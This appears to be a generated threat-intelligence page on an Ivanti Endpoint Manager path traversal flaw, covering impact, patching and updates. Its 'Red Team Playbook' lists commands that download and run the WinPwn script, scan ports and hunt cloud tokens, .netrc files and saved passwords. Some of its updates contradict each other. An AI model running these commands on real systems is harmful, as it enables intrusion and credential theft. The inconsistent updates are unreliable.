CVE-2024-13161
Overview
This vulnerability is an absolute path traversal flaw within Ivanti Endpoint Manager's input validation mechanisms. The root cause lies in improper sanitization of user-supplied parameters that allow specifying arbitrary file paths. The affected component is the GetHashForSingleFile endpoint within the WSVulnerabilityCore service, which processes file path inputs without adequate restriction, enabling unauthorized path referencing.
Vulnerability Description
Absolute path traversal in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025 Security Update allows a remote unauthenticated attacker to leak sensitive information.
Impact
An unauthenticated attacker can exploit this vulnerability to coerce the Ivanti Endpoint Manager server into authenticating to an attacker-controlled machine, thereby capturing machine account credentials through NTLM relay or man-in-the-middle attacks. This can lead to credential theft and unauthorized lateral movement within the target network. No prior authentication or user interaction is necessary, significantly increasing the attack surface. The compromise of these credentials can result in sensitive information disclosure and potential full system compromise.
Solution
Ivanti has released security updates addressing this vulnerability in the Ivanti Endpoint Manager 2024 January-2025 Security Update and the 2022 SU6 January-2025 Security Update. Administrators should apply these specific patches promptly. Detailed remediation instructions and advisory information are available at Ivanti's official security advisory page: https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability present in Ivanti Endpoint Manager is characterized by an absolute path traversal flaw that allows an unauthenticated remote attacker to access sensitive information stored on the server. This type of vulnerability arises when an application does not properly validate user input, allowing an attacker to manipulate file paths in a way that exposes files outside of the intended directory. In this case, the flaw exists in the way the application handles file requests, permitting attackers to traverse the file system and access confidential data that should otherwise be restricted. The severity of this vulnerability is underscored by its high CVSS score of 7.5, indicating a significant risk to affected systems.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request that includes directory traversal sequences, such as "../", to navigate the file structure of the server. By sending such requests to the vulnerable application, the attacker could potentially retrieve sensitive files, including configuration files, user credentials, or other critical data. The lack of authentication requirements for this attack vector significantly lowers the barrier for exploitation, making it accessible to a wide range of malicious actors. Scenarios may include targeted attacks against organizations using Ivanti Endpoint Manager, where the attacker seeks to gather intelligence for further attacks or to exploit the leaked information for financial gain or reputational damage.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on Ivanti Endpoint Manager for endpoint security and management. The leakage of sensitive information can lead to unauthorized access to corporate networks, data breaches, and compliance violations, especially if personal data or proprietary information is exposed. Furthermore, the reputational damage stemming from such incidents can result in loss of customer trust and potential legal ramifications. The business risk is compounded by the potential for attackers to leverage the information obtained through exploitation to launch more sophisticated attacks, such as ransomware or targeted phishing campaigns.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Ivanti Endpoint Manager to the latest security patches is crucial, as the vendor has released updates to address this flaw. Additionally, organizations should conduct routine security assessments and penetration testing to identify and remediate vulnerabilities in their systems proactively. Employing web application firewalls (WAF) can help filter and monitor HTTP requests, blocking malicious attempts to exploit path traversal vulnerabilities. Furthermore, implementing strict access controls and monitoring for unusual access patterns can enhance the security posture and reduce the likelihood of successful exploitation.
In conclusion, the absolute path traversal vulnerability in Ivanti Endpoint Manager presents a significant threat to organizations utilizing this software. The potential for unauthorized access to sensitive information poses serious risks, including data breaches and reputational damage. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities. Continuous vigilance and proactive security measures are essential in safeguarding sensitive data and maintaining the integrity of organizational systems.
CSURFACE threat intelligence has identified a modest but clear uptick in detection activity related to CVE-2024-13161, indicating increased probing or exploitation attempts targeting Ivanti Endpoint Manager. While the overall exploit landscape remains unchanged with no new public exploit code or ransomware associations detected, the observed rise in telemetry suggests adversaries are intensifying reconnaissance or initial access efforts leveraging this absolute path traversal vulnerability. This development is significant as it may presage broader exploitation campaigns or targeted intrusions, heightening the urgency for defenders to maintain vigilant monitoring. Although the EPSS score remains high and stable, the incremental increase in sightings signals a potential shift in attacker behavior that could elevate risk if exploitation techniques mature or become weaponized. Consequently, this trend warrants close observation to detect any escalation that might impact organizational security posture.
Update 2 — May 20, 2026
CSURFACE threat intelligence has identified a critical reassessment of CVE-2024-13161’s severity, reflected by an upward revision of its CVSS score from 7.5 to 9.8. This adjustment aligns with its recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog, signaling heightened recognition of its exploitation potential. Despite a notable reduction in detection activity across our telemetry, the vulnerability’s persistent high EPSS score near the 1.00th percentile underscores ongoing risk. Importantly, the emergence of a ransomware group association—previously unreported—indicates that threat actors are beginning to integrate this absolute path traversal flaw into their operational toolkit, elevating its threat profile. While no new exploit techniques have surfaced, this development suggests a strategic shift that could facilitate more targeted or opportunistic attacks leveraging this vulnerability. Defenders should interpret these changes as an escalation in the adversarial interest and potential impact, warranting sustained vigilance despite the current downturn in observable exploitation attempts.
Update 3 — June 07, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-13161, with our telemetry indicating a significant increase in detection events. This uptick corresponds with a slight rise in the EPSS score, reflecting growing adversarial interest and potential exploitation attempts in the wild. Although no new ransomware group associations or exploit techniques have been identified, the increased detection frequency suggests that threat actors are actively probing or leveraging this vulnerability more aggressively. For defenders, this signals a heightened risk environment where the likelihood of successful information disclosure attacks has increased, necessitating closer monitoring of network traffic and endpoint behavior. The overall threat level for CVE-2024-13161 should be considered elevated due to this surge in activity, even as the exploit landscape remains stable without novel attack vectors emerging.
Update 4 — June 15, 2026
Following the recent adjustment to the CVSS score for CVE-2024-13161 from 9.8 to 7.5, CSURFACE threat intelligence notes a corresponding slight decline in the EPSS score, reflecting a modest reduction in the probability of widespread exploitation. This recalibration aligns with updated vulnerability assessments that suggest the absolute path traversal flaw, while still critical, poses a somewhat lower risk of immediate, high-impact compromise than initially estimated. Our telemetry continues to show no emergence of new exploit techniques or confirmed ransomware group activity exploiting this vulnerability, reinforcing the view that active exploitation remains limited. However, the inclusion of this vulnerability in the KEV catalog with a near-term due date for remediation underscores its relevance in the threat landscape and the necessity for ongoing vigilance. For defenders, this means that while the urgency to address the vulnerability remains, the overall threat level is now more accurately characterized as high but not critical, allowing for prioritized but measured response efforts. The stable exploit landscape combined with the downward trend in EPSS suggests that exploitation attempts are not rapidly escalating, providing a window for organizations to implement mitigations without immediate crisis.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Ivanti | Endpoint Manager | All |
cpe:2.3:a:ivanti:endpoint_manager:*:-:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:-:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su1:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su2:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su3:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su4:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su5:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su6:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2024 |
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
15 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability
Sighting activity recorded
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Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-597 | Absolute Path Traversal |
36%
|
— | — |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-13161 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-13161 |
| horizon3.ai |
NVD API
Exploit
Third Party Advisory
|
https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/ |